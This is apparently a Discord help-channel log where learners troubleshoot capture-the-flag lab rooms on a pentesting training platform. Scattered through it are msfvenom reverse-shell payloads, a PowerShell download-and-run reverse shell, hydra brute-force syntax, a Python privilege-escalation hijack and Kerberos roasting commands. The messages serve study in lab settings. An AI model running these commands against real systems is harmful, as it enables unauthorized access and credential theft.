#offensive-pentesting-path

1 messages · Page 1 of 1 (latest)

lean edge
#

I am finding the Internal and Relevant Rooms too hard compared to the other ones. Is it normal? How should I tackle them?

#

I feel kinda bad looking at the writeups

#

I am considering skipping them and re trying once I finish the rest of the path, not sure if it is a good idea

harsh ocean
#

I think Relevant’s foothold is a little silly but both rooms are mostly a test of methodology

#

Coming back to them is a perfectly fine approach

#

Learn from where you got stuck, and consider adding that to whatever mental/physical checklist you have when you do boxes.

lean edge
#

I am slowly building a methodology for boxes, but I have a couple questions if you don't mind. How does brute forcing fit in CTFs? Do I have to try it for every login prompt (after trying default credentials)?

#

So I should always try it but for no longer than 5 mins? OK, Thank you!

harsh ocean
#

Note that newer machines these days on CTF platforms tend to stray away from brute forcing a login as a foothold because it’s not very interesting after the first 5 times, but it’s still something to keep in mind for things beyond CTFs

vernal mason
#

if a brute force attack using a dictionary attack works it just means better passwords need to be made

hazy marten
#

hey guys , could you recommend me some books? i just finished reading Linux basics for hackers , and i read the first two books from networking all in one for dummies , i have very basic bash scripting skills , i know python and javascript so i think i can consider myself a "script kiddie" atleast , i would like to advance , what would be the best books for kali?

vernal mason
hazy marten
#

i did check the channels but skiped that one lol , sorry for that and thanks

vernal mason
#

no problem

keen iris
vernal mason
desert topazBOT
#

Gave +1 Rep to @keen iris

shut magnet
#

Hello Friends, I need help at this point. Why id_rsa is being ignored?

unknown.png
#

what permissions i have to assign?

keen iris
#

And if you google the message, you can easily learn

#

"it is required that your private key files are NOT accessible by others."

shut magnet
#

Uhh okay.

#

Let me google it first

#

Thanks @keen iris

desert topazBOT
#

Gave +1 Rep to @keen iris

keen iris
#

The general rule is that you should google it first before asking here

shut magnet
#

Okay Brother got it.

shut magnet
#

I tried with with chmod 600 but still same

#

Anyone can please guide!

unknown.png
shut magnet
keen iris
#

So you can't modify it

#

Copy the file to somewhere locally

shut magnet
#

Ohhh Okay.

zinc solar
#

Hi. I already posted this in "subs-room-help" but I think this is the right place for that.

I'm on "Game Zone" and I'm stuck at task 5. I cant get the ssh tunnel to work.
If I try open "localhost:10000" on my machine the SSH-connection says "channel 3: open failed: administratively prohibited: open failed"

tidal spindle
lethal edge
#

Hi, I am wondering should I do the junior pen tester path before the offensive pen tester path? I have experience with Linux and msf etc, and have been working through the offensive path however just realised there is a junior path as well. I can’t find a way to enrol for more than one path at a time. Should I keep at the offensive path and do the jr pen tester path after or should I switch now?

cerulean wadi
#

I'm solving Steel Mountain, but my reverse shell don't work

C:\Program Files (x86)\IObit\Advanced SystemCare>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.


C:\Program Files (x86)\IObit\Advanced SystemCare>
# 
msf6 exploit(multi/handler) > run 

[*] Started reverse TCP handler **.*.**.**:9898
#

What is the problem

#

I tried many ways like:

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=**.*.**.** LPORT=9898 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
#

I tried to generate it with -f exe option also

# 

msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     **.*.**.**       yes       The listen address (an interface may be specified)
   LPORT     9898             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
# 
msf6 exploit(multi/handler) > run 

[*] Started reverse TCP handler on **.*.**.**:9898
mellow tusk
#

I'm doing the buffer overflow room Brainstorm and I cannot get the chat application to run on my windows 7 64 bit VM and on my windows 10 64 bit VM. I've tried troubleshooting compatibility to no avail. Can someone please help me out?

#

I've seen 2 writeups (one text and the other a video) and they don't seem to have any issues running the chatserver app

fathom marten
mellow tusk
#

Yes, did that

fathom marten
#

can you show a screenshot of the error? you'll have to verify to send images

#

!docs verify

frank troutBOT
mellow tusk
#

@fathom marten here's the error from win10

Screen_Shot_2022-07-28_at_15.08.09.png
#

The error from win7

Screen_Shot_2022-07-28_at_3.10.47_PM.png
#

same directory structure in win7 as in win10

fathom marten
# mellow tusk The error from win7

yeh, that's a VM thing, if you want to run it still, you can use thm's blue machine or windows base machine but it'll run fine in Immunity debugger AFAIK

mellow tusk
#

😮 wow thanks a ton

#

could you tell me where to find the thm windows base machine?

fathom marten
mellow tusk
#

arghh great! thanks again!

fleet wedge
#

Hello is there a W7 iso file to download for immunitydebug & mona or do I have to create it from scratch?

#

(for brainpan)

#

thx

fathom marten
fleet wedge
#

ok nothing fancy then

keen iris
#

-f exe-service

#

Ah wait that's there

mellow tusk
#

Well I give up, I cannot run nor can I open the chatserver executable from the BrainStorm room. I've tried everything I can think of. I tried using the 64 bit and 32 bit version of Windows 10 and windows 7 and I also tried using the windows 10 base machine provided by tryhackme and I cannot get it to open.

#

Anyone able to do this room? Any suggestions for being able to debug the executable?

keen iris
#

Download it in binary mode

#

And any DLLs also

#

Otherwise they get corrupted

mellow tusk
#

The closest I got to running it was in Windows 10 32 bit. When I open it, I get an error saying "This program cannot be run in DOS mode"

#

I did that

keen iris
#

Beyond that, I have no suggestions

mellow tusk
#

crap

#

One of the times I tried to run it, yes

#

Same error

#

"This program cannot be run in DOS mode"

#

also

#

and I tried opening it directly from immunity

keen iris
#

Why would that help?

#

Hint: it wouldn't
It's a compiled program

#

Context matters here

mellow tusk
#

☝️

wispy tangle
#

or ghidra

mellow tusk
#

I haven't been able to figure out how to do brainstorm. I had the same issue with gatekeeper, but found the solution using the "dobufferstackoverflowgood" executable found on the buffer overflow prep machine. I saw a different executable called vulnserver with the essfunc.dll that I think chatserver uses but vulnserver seems to work different compared to chatserver, so I haven't done it.

modern crypt
#

I had no issue just creating a new windows 10 VM (workstation 16), installing immunity and mona and running the oscp ones (gatekeeper, chatserver, brainpain). So it does work.

#

nothing special, no windows updates from original iso install yet, just an isolated test VM

woeful arrow
#

working on Overpass 2 - Hacked room and I'm up to the point where I'm attempting to get back in... when I try to get into the back door I get something unexpected: (see screenshot) -- any ideas?✅

unknown.png
#

Self-resolved.

fleet wedge
#

Hi, I have a strange issue with brainstorm, found the right EIP, rtn adress, whatever ; got a reverse shell on my w7 box, BUT, when i'm trying on THM network, connected to OpenVPN for sure, changing IP on the script with box IP, I can't have a reverse shell. It's the same exploit, only ip changing and I have no issues connected thru VPN. Any ideas? Thanks for your help 😄

fathom marten
fleet wedge
#

ok will do right now!

#

thx

#

and it's working!

#

thx a lot @fathom marten was wondering why :p

desert topazBOT
#

Gave +1 Rep to @fathom marten

fathom marten
fleet wedge
#

strangely anyway

#

Listening on [0.0.0.0] (family 0, port 443)
Connection from 104.210.55.152 45193 received!
\ufffd\ufffd62\ufffdZ\ufffd\ufffdM\ufffd\ufffd]b\ufffdu\ufffd\ufffd2\ufffdP\u0540\ufffd\ufffd\ufffd}\ufffdet\ufffd\ufffd @\ufffd
^^

#

well will try to understand why

cerulean wadi
#

I'm solving Brainstorm but I can't download the chatserver

# 
ftp> cd chatserver
250 CWD command successful.
ftp> binary 
200 Type set to I.
ftp> mget *
ftp: Can't connect to `10.10.51.142:49173': Connection timed out
421 Service not available, remote server has closed connection.
ftp>
spring vine
fleet wedge
#

dont forget binay or it will be corrupted

spring vine
cerulean wadi
#

I have downloaded it using the attack box, I think I have a bad connection

spring vine
cerulean wadi
#

Thank you for your support

fleet wedge
#

it was me for brainstorm :p happy to finaly got it! ^^

raven osprey
#

Hello

#

I have been stuck at the Steel Mountain task 4

#

having this screen when I'm trying to attack the target machine

#

SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape

#

can someone help me?

mellow tusk
woeful arrow
#

constantly having machines disconnect on me tonight... is there some server maintenance or something happening?

frank troutBOT
fleet wedge
#

How do i setup host in /etc/hosts in the nahamsec thing ontry hack me, im using my own vm with openvpn

mellow tusk
#

You just add a line like this:

<IP> <domain-name>

finite pivot
#

Another good way is

echo "10.10.xxx.xxx NAME.thm" | sudo tee -a /etc/hosts

vague violet
#

Hi all! I'm just getting started on the Offpen learning path. Within the Vulnveristy room, it looks like my attackbox is not running a webserver, which is stopping my progress. Has anyone ran into this before and if so, did you manage to fix it? Thanks ahead of time.

#

Oh ya for sure. It looks like the learning path for gobuster, Burpsuite, and privilage escalation all rely on this vulnerable preconfigured web server though.

#

Yup it's up and running. It looks like port 3333 should be opening, running an apache web server. However, on my specific machine, it is not.

#

Well i'm on the step when we use gobuster to discover the directories of the webserver and of course, I can't access the webserver via that tool.

#

Well the web server isnt running.

#

I checked via nmap. However, my IP is 10.10.20.137.

#

Doh!

#

Well I'm going to go hide in a corner for a while lol! It's always a user error right? haha

#

Thank you for the help

hasty rivet
vague violet
hasty rivet
#

Problem in chair, not in computer

vague violet
pulsar oracle
#

Hello everyone, I just completed this path and the certificate didn't show my full name, so I changed it to make it correct, but now the certificate doesn't seem to update

So I wanted to know if i'm screwed or if it will change with a little patience, or if I need to do something else ?

#

Thanks for your reponse

daring shore
#

Anyone else have this issue - my revshell from msfvenom gets this error Command shell session 1 is not valid and will be closed

keen iris
#

Make sure your handler has the payload set correctly

daring shore
#

This is what I set msfvenom -p windows/meterpreter/reverse_tcp LHOST=VPNIP LPORT=9001 -f exe > rshell.exe ...then msfconsole - use exlpoit/multi/handler - set LHOST and LPORT - run

keen iris
daring shore
#

set payload windows/meterpreter/reverse_tcp - you were right ..thanks for the help

turbid kettle
gray wind
#

I need help understanding args i cant find anyone talking about it online. for example I dont even understand this question What optional argument can the ftp-anon.nse script take?

woeful arrow
woeful arrow
queen bolt
#

Is there anyone willing to sort of mentor me on buffer overflows? It's one of the few things I'm still struggling with and need to get past.

#

please DM me ❤️

wet geyser
#

I can't seem to get into the live machine while following the steps, i was wondering if anyone could look into it with me

frank troutBOT
wet geyser
#

But i seem to get failures

#

What is wrong about the LHOST

#

should it be the ovpn ip?

#

Thank you, I assume this is the case for every exploit i try to run using ovpn right?

keen iris
woeful arrow
#

I was having issues with the room called Brainstorm earlier -- Task 1 question 2 asks "How many ports are open?" -- I did an nmap scan and got an answer. I put that answer in to the block, clicked the submit button, incorrect. Looking for someone to confirm that there's a problem with the room?

fathom marten
woeful arrow
#

Thanks I've been spinning my wheels trying to get to the "Correct" answer but i guess my answer is right already

finite bramble
#

I'm having trouble running the PowerUp shell on the Steel Mountain machine, anyone know how to solve it?

unknown.png
fathom marten
#

that's an html file

#

notice the button and div tags you see in a standard html file, wget using the raw link or copy paste the actual code

finite bramble
#

You say create a direct file on the compromised machine?

keen iris
#

No

finite bramble
#

When I executed the PowerUp file, the system returned me error in all parameters

keen iris
#

Not the powershell script

cerulean wadi
#

How could we know the active directory domain name in Attacktive Directory in task 4 ?

fathom marten
#

probably use enum4linux

cerulean wadi
# 

enum4linux -A IP_address                 
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Aug  6 08:54:45 2022

 =========================================( Target Information )=========================================

Target ........... IP_address
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on IP_address )============================


[E] Can't find workgroup/domain



 ===================================( Session Check on IP_address )===================================


[+] Server IP_address allows sessions using username '', password ''


 ================================( Getting domain SID for IP_address )================================

Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963

[+] Host is part of a domain (not a workgroup)

enum4linux complete on Sat Aug  6 08:54:57 2022
#

I found smb domain name: THM-AD but it's not active directory domain

mellow tusk
cerulean wadi
desert topazBOT
#

Gave +1 Rep to @mellow tusk

fathom yacht
#

Is it normal that the room Daily Bugle is vulnerable to CVE 2021-4034 ? I can give more info if needed.

finite pivot
#

It's a very old room.

#

So all the newer exploits will work.

fathom yacht
#

Ok thx

fleet wedge
#

Hello, I am currently doing Abusing Kerberos in Attacktive Directory. When i try to run the command GetNPUsers.py spookysec.local/svc-admin -no-pass I get the following error: Traceback (most recent call last):
File "GetNPUsers.py", line 42, in <module>
from impacket.examples.utils import parse_credentials
ModuleNotFoundError: No module named 'impacket.examples.utils'

#

Could anybody help me out.

cerulean wadi
#

what is impacket version

fleet wedge
#

I am using the in browser instance of THM

#

Version used is 0.10.0

#

as in the in browser instance of THM Box

fleet wedge
#

Traceback (most recent call last):
File "secretsdump.py", line 61, in <module>
from impacket.examples.utils import parse_target
ModuleNotFoundError: No module named 'impacket.examples.utils'

cerulean wadi
#

I think you are using python2 not 3

fleet wedge
#

The machine uses Python3

#

root@ip-x.x.x.x:/opt/impacket/examples# python3 GetNPUsers.py spookysec.local/svc-admin -no-pass
Traceback (most recent call last):
File "GetNPUsers.py", line 42, in <module>
from impacket.examples.utils import parse_credentials
ModuleNotFoundError: No module named 'impacket.examples.utils'

#

root@ip-x.x.x.x:/opt/impacket/examples# GetNPUsers.py spookysec.local/svc-admin -no-pass
Traceback (most recent call last):
File "/usr/local/bin/GetNPUsers.py", line 4, in <module>
import('pkg_resources').run_script('impacket==0.10.1.dev1+20220606.123812.ac35841f', 'GetNPUsers.py')
File "/usr/local/lib/python3.6/dist-packages/pkg_resources/init.py", line 665, in run_script
self.require(requires)[0].run_script(script_name, ns)
File "/usr/local/lib/python3.6/dist-packages/pkg_resources/init.py", line 1463, in run_script
exec(code, namespace, namespace)
File "/usr/local/lib/python3.6/dist-packages/impacket-0.10.1.dev1+20220606.123812.ac35841f-py3.6.egg/EGG-INFO/scripts/GetNPUsers.py", line 40, in <module>
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
File "/usr/local/lib/python3.6/dist-packages/impacket-0.10.1.dev1+20220606.123812.ac35841f-py3.6.egg/impacket/dcerpc/v5/samr.py", line 32, in <module>
from impacket.dcerpc.v5.rpcrt import DCERPCException
File "/usr/local/lib/python3.6/dist-packages/impacket-0.10.1.dev1+20220606.123812.ac35841f-py3.6.egg/impacket/dcerpc/v5/rpcrt.py", line 26, in <module>
from Cryptodome.Cipher import ARC4

#

File "/usr/local/lib/python3.6/dist-packages/Cryptodome/Cipher/init.py", line 27, in <module>
from Cryptodome.Cipher._mode_ecb import _create_ecb_cipher
File "/usr/local/lib/python3.6/dist-packages/Cryptodome/Cipher/_mode_ecb.py", line 29, in <module>
from Cryptodome.Util._raw_api import (load_pycryptodome_raw_lib,
File "/usr/local/lib/python3.6/dist-packages/Cryptodome/Util/_raw_api.py", line 86, in <module>
ffi = FFI()
File "/usr/local/lib/python3.6/dist-packages/cffi/api.py", line 56, in init
backend.version, backend.file))
Exception: Version mismatch: this is the 'cffi' package version 1.14.2, located in '/usr/local/lib/python3.6/dist-packages/cffi/api.py'. When we import the top-level '_cffi_backend' extension module, we get version 1.11.5, located in '/usr/lib/python3/dist-packages/_cffi_backend.cpython-36m-x86_64-linux-gnu.so'. The two versions should be equal; check your installation.

still agate
#

I’m offended

blissful cypress
still agate
#

This pentesting path

blissful cypress
#

because?

still agate
#

It’s offensive

blissful cypress
#

lol

still agate
#

😂

#

Red team moment

burnt dirge
#

I know the daily bugle is categorized as a hard box but, it didn’t seem very hard. I was proud at first to be able to do a hard box on my own but, it seemed to easy. Anyone else get that feeling?

keen iris
true swift
#

Any tip what wordpress is using for hash? I found examples like: $P$BU6KTu61vxuI92JgwTztG1yTcR90Ar0

#

is there any chances to decrypt? (i am beginner)

magic ivy
true swift
#

i found out this is a phpass HASH used by wordpress

keen iris
true swift
#

No i found on internet trying to learn more about hashes

keen iris
true swift
#

here is another one

#

there are a lot of

woeful arrow
#

Has anyone recently completed "Brainstorm" without issue? I've been having some serious issues with the box's functionality -- curious if it is just me

keen iris
woeful arrow
#

want me to dm you or who do I ask directly?

keen iris
woeful arrow
#

That's the thing, I don't actually have a question or need any help with buffer overflows -- I just need to know if the machine is operating as expected. If it is, then I don't need anything.

keen iris
#

That's what you evidently want help with....

woeful arrow
#

first issue: when I connect to the ftp anonymously...

unknown.png
keen iris
thick musk
#

I could use some help, please. I just made it to Bash Scripting, and I feel lost. I'm having trouble executing the bash exercise in Linux. Wondering if someone can help guide me while I practice. Or should I just skip it and move on?

gentle arrow
#

Hello, I'm on the Attacktive Directory module, on the task 8 ( flag submission ).

In the previous task i obtained the hashes from the different users, including Administrator, svc-admin, backup, etc. This task is to get the flags from their desktops. I assume i need to use evil-winrm and i believe this is the right use but still is dropping errors. See below:

unknown.png
#

Then when i don't come with other things and i was reviewing my notes. I went to check some writeup and they are doing exactly as i do, it just does not work for me

#

Someone who might be able to help?

drowsy prairie
#

So I'm on vulnversity box, using burpsuite for the sniper attack - I sorted the payload and tags as directed, and when I ran the attack it gave me 'Extension not allowed' as the response for .phtml. I adjusted it, so the payload didn't include the dot - it stayed within the request itself and didn't vary, which made the extension work. Apparently the dot gets converted into URL, so it become %2e, which meant the website didn't recognise it. Any tips apart from the obvious (keep the dot constant) to avoid this?

drowsy prairie
#

thanks :)

drowsy prairie
#

So I've come back to the room, and I'm trying to send the same request to intruder to see if I can get it to work the way the instructions ask

#

I have burpsuite open, scope limited only to the website, proxy options changed so it only intercepts requests to URL inside scope, but other than that no other changes

#

as soon as I press submit on the upload form CPU usage on the AttackBox shoots right up to 100%, and BurpSuite is completely unresponsive - I can't press any buttons, and when I minimise and open it back up again it's a completely white page

#

it doesn't respond to me trying to close it

#

this is using firefox with foxyproxy on default burp settings

drowsy prairie
#

it's worked for me without the scope settings

gentle arrow
drifting vapor
gentle arrow
magic ivy
drifting vapor
magic ivy
drifting vapor
magic ivy
#

but how do u make that box?

drifting vapor
magic ivy
#

the only thing i can do lol

unknown.png
drifting vapor
#

oh well discord use the same syntac for code blocks

magic ivy
#

ohh how about that red shell?

drifting vapor
#

ill send a screenshot

magic ivy
#

ahh three `

drifting vapor
#

yup and you just put whatever coding language u want and it will try to highlight 😄

magic ivy
#

mine show like this

unknown.png
#

ohh u need to give it a name after three `

drifting vapor
#

yea so "bash" or shell

magic ivy
#

that's why mine is always blank

drifting vapor
#

it will try and do it's best at highlighting

magic ivy
desert topazBOT
#

Gave +1 Rep to @drifting vapor

drifting vapor
orchid turret
#

hello

copper crypt
#

somebody doing buffer overflow or studiyn it?

sharp aspen
#

Hello, I have a problem with Overpass2 and in the end of the room when you should ssh on -p 2222 james@>ip< back in to the server as the attacker did I can´t connect. Getting an error message. Don´t know what to do.

Unable to negotiate with 10.10.56.241 port 2222: no matching host key type found. Their offer: ssh-rsa

copper crypt
#

are you studiyn BO from where?

sharp aspen
#

👍

copper crypt
#

overthewire for BO? will take a look on ROPemperium and picoctf

#

thenks person!!!! i was only doing bash commands challenges

round frost
woeful arrow
tight zephyr
#

Hi. For the HackPark i created a reverse_tcp payload with the Message.exe title and set up the handler. But when i tried to invoke it from my shell i get the following error: Invoke-WebRequest : The process cannot access the file 'C:\Program Files
(x86)\SystemScheduler\Message.exe' because it is being used by another process.

round frost
#

@woeful arrow What did you figure it out?

woeful arrow
# round frost <@252986912606912512> What did you figure it out?

The only challenging part of the room for me was getting the binary off of the ftp server. I was getting an error message I’d never encountered before from ftp, I imagine they made it part of the room but I’m unsure.

Once I had the binary, I sent it over to my windows 10 machine and used some custom python scripts to figure out the ESP/EIP for buffer overflow.

#

I think the ftp server was set to passive mode or something silly, and getting it out of passive mode is pretty simple— easy Google search

round frost
#

Yeah, passive and if need binary

#

@woeful arrow and you got the shell?

lean edge
#

Why does AS-REP roasting require the pre-authentification to be disabled? If I understood correctly, this attack consists on brute-forcing the KRB_AS_REP response, which gets sent anyways

#

I'm on the Attacking Kerberos Room

keen iris
#

That might help you here

keen iris
#

If you can't see it, I can point out the important bit

lean edge
#

Isn't it possible to sniff the AS-REP? Wouldn't that make the attack effective even if pre-authentification is enabled?

#

If I correctly understood what you sent (BTW thank you), if pre-authentification is disabled then it is easier to get the AS-REP for a specific user. But I don't see why enabling it would prevent people from just sniffing

keen iris
#

https://adsecurity.org/?p=2293#:~:text=Note that this attack can also work by sniffing network traffic and grabbing Kerberos TGS tickets encrypted using RC4_HMAC_MD5 off the wire. - maybe slightly different as that's tgs?

Active Directory Security
Sean Metcalf
Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerbero...

Microsoft's Kerberos implementation in Active Directory has been targeted over the past couple of years by security researchers and attackers alike. The issues are primarily related to the legacy support in Kerberos when Active Directory was released in the year 2000 with Windows Server 2000. This legacy support is enabled when using Kerberos RC...

broken knoll
#

Afternooon everyone

broken knoll
copper crypt
broken knoll
#

Well the basics surrounding how Buffer Overflow works is very confusing. Let me find this video by that famous british IT sec guy

copper crypt
#

is in spanish of course

broken knoll
#

cool! good to know although me espanol is no bueno!

copper crypt
#

the cybermentor has a good explanation too

broken knoll
#

Awesome! Will do. Thanks

gentle arrow
#

Hello all,

Someone know why rockyou.txt wont load in burpsuite?

I could imagine that is very large for a VM but i have plenty ram and processor

unknown.png
#

smaller dictionaries load correctly

#

any workaround?

keen iris
gentle arrow
#

ye, i see the logic of not needed to use that many. But if i that would not be enough, always worth to give a shot to larger lists

#

I was asking because of this.

unknown.png
#

that command does not work for me

#

so i was trying burp

#

It's HackPark

#

from the offensive pentesting path

#

where the error in the sintax?

broken knoll
#

YES

#

you need to get stuff from the browser i think

#

should look somthing like this:

#

INTERNAL USE CASE: (Gathered details using web browser console > network tab)

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.73.174 http-post-form "/phpmyadmin/index.php:pma_username=admin&pma_password=^PASS^&server=1&target=index.php&token=bfe8aacb8a8c4631dc57ad13fc02bc05:#1045 - Access denied for user 'admin'@'localhost' (using password: YES)" -vv

gentle arrow
#

ouhh i see

#

good video, thanks, gonna watch it now

gentle arrow
#

Worked ! Thanks man !

desert topazBOT
#

Gave +1 Rep to @hidden shoal

broken knoll
#

Anyone gone through BrainPan yet? Seem to be having trouble getting the reserve shell on this one, whether on a windows machine hosting the vulnerable exe or going straight at the target machine. I've checked my buffer, jump points, offset against walkthroughs at this point to see them match. I can even see bidirectional traffic on the port the exe listens on when running the exploit. But Im not seeing the reverse shell port traffic used we are listening for hit over tcpdump to the attacking machine. tried many variations of payloads and exploits.

broken knoll
#

Damn fine idea. Thanks for that

desert topazBOT
#

Gave +1 Rep to @hidden shoal

broken knoll
#

That worked

#

msfvenom -p windows/exec CMD=calc.exe -b "x00" -f py

#

Cool thanks for that suggestion. I'm sure Ill use that frequently in the future XD

frail ravine
#

Hello guys im currently working on attacktive directory and keep getting an error when trying to run GetNPUsers.py

The two versions should be equal; check your installation.

#

im not exactly sure what to check

rocky wind
#

!docs verify

frank troutBOT
frail ravine
#

yea i can hold on

frail ravine
#

Smh now I have this issue 🤦🏾‍♂️

frail ravine
#

Oh wow smh ok thanks for the tip

rocky wind
#

I think an update is being worked on, but yup, not ready yet

simple steppe
#

Hey, guys! I'm doing the brainstorm room and I'm having problems opening the .exe into my windows immunity debbuger. Does the .exe is a 32 bit?

#

I currently have a 64bit windows so I was wondering If I would need to install a 32bit windows just for this exe

frail ravine
rocky wind
#

try running it as python3.9 GetNPUsers.py ?

frail ravine
cerulean wadi
#

I want to do Python module Hijacking, there is a file called run.py I can run as root without password according to

sudo -l 
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

run.py content:

import os,sys,time


def delay_print(s):
    for c in s:
        sys.stdout.write(c)
        sys.stdout.flush()
        time.sleep(0.08)

def main():
    os.setuid(0);
    delay_print("Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!");
    print("\n")
    os.system('service apache2 restart > /dev/null 2>&1');

main();
#

I created a file called sys.py in the same directory
it's content:

import os 
os.setuid(0)
os.system('/bin/bash')

then

export PYTHONPATH=/home/cyber/
sudo /usr/bin/python3 /home/cyber/run.py
#

But run.py imports the original sys module not my file, What should I do

spring vine
cerulean wadi
#

battery

spring vine
cerulean wadi
#

yes I can,I've finished the room But I want to do Python module Hijacking

frail ravine
gentle arrow
#

Hello, wondering if you can help. I messed up my kali VM so had to reinstall it from scratch, reorganize my stuff, etc.

First time i continue with THM in the new machine, i go to the machine Retro ( Offensive Pentesting Path ). I find the user/password for the WordPress page and lets me in. I go to Plugins and find the place where i can edit the php code and put the reverse shell code. I've done this few times already in my previous machine but in here, there is some sort of issue.

unknown.png
#

wondering if its because it might be a win machine?

#

i know, that's why im wondering it

#

but that uname there is crutial

#

to drop the shell

#

sec

#

if you copy that line to your console, it'll drop a shell

#

i can try but why? this is the reverse shell from pentest monkeys

#

i've used the same script in other ocassions and never had an issue

#

that's was my initial suspiciousnes

vernal mason
#

meterpreter shells is the easy way out for windows shells

#

unless you can finagle getting nc.exe or socat.exe on the target machine and make it execute and point at you

gentle arrow
#

i switched that one for cmd.exe

#

does not work, neither using metasploit

#

it worked using this reverse code instead

shut belfry
#

Hello, guys, I think I need your help with this one. I started working on the 'Active Directory Basics' room in the Offensive Pentesting Learning Path. In the fourth task I am supposed to do the delegation and give privilege to change others' passwords to a user phillip. Unfortunately, every time I granted the privilege to a user phillip and switched to his account I was not able to change sophie's password. I'm sending you also a screenshot of what error I have. I see that phillip doesn't have the permission for given action but I don't know why. Is there anyone that can help with this? Thanks a lot.

unknown.png
broken knoll
#

Looks like you may still need to do the delegation step

#

At least thats what the error looks like. Were you able to get it to work?

rocky wind
pure sail
#

i changed the full name to my actual name in my profile but the certificate won't change it. How can i get it with my name ?

mossy pelican
#

I Faced the same problem so i changed my name to orignal for next certs🙂

rocky wind
shut belfry
desert topazBOT
#

Gave +1 Rep to @rocky wind

stiff atlas
#

for a complete beginner which room/walkthroughs should he start from ?

odd galleon
#

Use the learning paths

#

do the complete beginner path first and then focus on the area of interest

stiff atlas
#

i was thinking about this one

#

is a good start to be a pentester ?

#

oh

#

idk what to doo...

#

😔

#

after these will be able to do the basics penetrations and offensive pentesting rooms ?

#

+rep @hidden shoal thanks ly

desert topazBOT
#

Gave +1 Rep to @hidden shoal

stiff atlas
#

@hidden shoalmost of the room in jr pentester path are for subscription users only

#

what should i do ?

#

all of these ^^

vernal mason
#

lots of free rooms available that are not part of the paths

stiff atlas
vernal mason
#

well if you can't afford a subscription you are better of searching rooms on things you wanna learn checking for the free ones on said topic

stiff atlas
#

surely will

#

thanks <3

vernal mason
#

no problem

stiff atlas
#

btw its not that i can't afford it but im not all the way in yet

stiff atlas
#

like its not my top priority rn,

#

im preparing for a test these days

#

so i have like 3hrs at most to do these stuff

#

i will sub after the test tho

#

yhh 😊

tiny wind
#

For the Room Alfred, after logging into the jenkins site. When I got to configure the project and change the command to download my shell file and then run it, it returns with this.

#

Any solutions? I seen people had this issue

#

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

#

Thats the code they tell you to use on the THM Room, I have set my python -m http.server and it dosent work.

fleet wedge
#

what IP are you using?

#

the one from the VPN ?

tiny wind
#

Yes

#

@fleet wedge The tun0

#

This is my response from my terminal

fleet wedge
#

so what doesn't work? seems like the listener is well

tiny wind
keen iris
# tiny wind

404 - your paths for the files are wrong, you've likely got a typo or you're serving from the wrong place

copper crypt
#

hi people! xfreerdp is not installing on parrot any suggestion?

keen iris
copper crypt
desert topazBOT
#

Gave +1 Rep to @keen iris

tiny wind
#

Why cant I reach a connection to my Python -m http.server? I am trying to get files from it with http://10.10.228.74/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.48.7:8000/rshell.php and I do not get not file download or any response at all, why would that be? The IP in the http://10.6.48.7:8000/rshell.php part is my Tun0 IP from OpenVPN

vernal mason
#

Remote File Inclusion????

tiny wind
vernal mason
#

that is very rarely a way to exploit machines... so have a feeling that is not the intended way here either.....

#

could be wrong about that though

tiny wind
vernal mason
#

oh okay then

tiny wind
# tiny wind

The problem is receiving a connection with my python server because I had this issue yesterday as well with another exploit.

#

Which was there^ in the replied message

vernal mason
#

!vpnscript

frank troutBOT
vernal mason
#

just to check the most basic thingy first

tiny wind
#

@vernal mason

#

I had put Y and reran the script and came back with the same warning

tiny wind
#

Gotcha

#

Yes because I can access it on my box but anywhere else no

#

How do I tick that off

#

Ah yes I tried this yesterday.

#

That was what it was at when I ran the command.

#

Should I disable disable ufw?

#

Gracias!

#

No connection or response

#

Skynet

#

I believe I know the issue in the revshell file but I wanna fix the python server first because I had the same issue yesterday with this and when I switched from my VM to the attackbox on the site it worked fine.

#

Got it working

#

Thanks

copper crypt
rocky wind
#

Can i request that the middle bit of the H in the ascii art goes up by one as well? 😄 I always read it as TryWackMe

copper crypt
#

fixed sorry to disturb! thanks anyway to help

desert topazBOT
#

Gave +1 Rep to @glad kindle

copper crypt
#

somebody know why on brainstorm task 1 answer port open is 6 but when scan only show 3?

vernal mason
copper crypt
vernal mason
#

writeups can become outdated

#

and also another possibility is open udp ports

copper crypt
#

weird...🕵🏻‍♂️

copper crypt
#

hi tryng to get a file, ive generated a python server and make wget from win10 but its not working... any help?

unknown.png
#

trying to get chatserver.exe from room brainstorm

rancid compass
#

have you tried -outfile "output.exe"?

#

i do those commands in cmd but is uses powershell so idk the exact syntax in powershell

#

oh nvm i just say the -O

#

wget your url before outputting it maybe

feral night
#

hey guys planning to start the offensive pentesting path in a couple of next days and would love to have someone encourage me and we can share knowledge and help each other along the way. Preferably level 8-10. My username is whoami2000

copper crypt
rancid compass
#

Did you use a bridged adapter on your Windows VM?

copper crypt
rancid compass
#

Weird because VM and actual computer should be able to communicate with eachother when you are using bridged

finite pivot
#

Y u use bridged.

rancid compass
#

Try this in you cmd ‘powershell -c wget “http://<ip-httpServer>:8000/chatserver.exe” -outfile chatserver.exe’

#

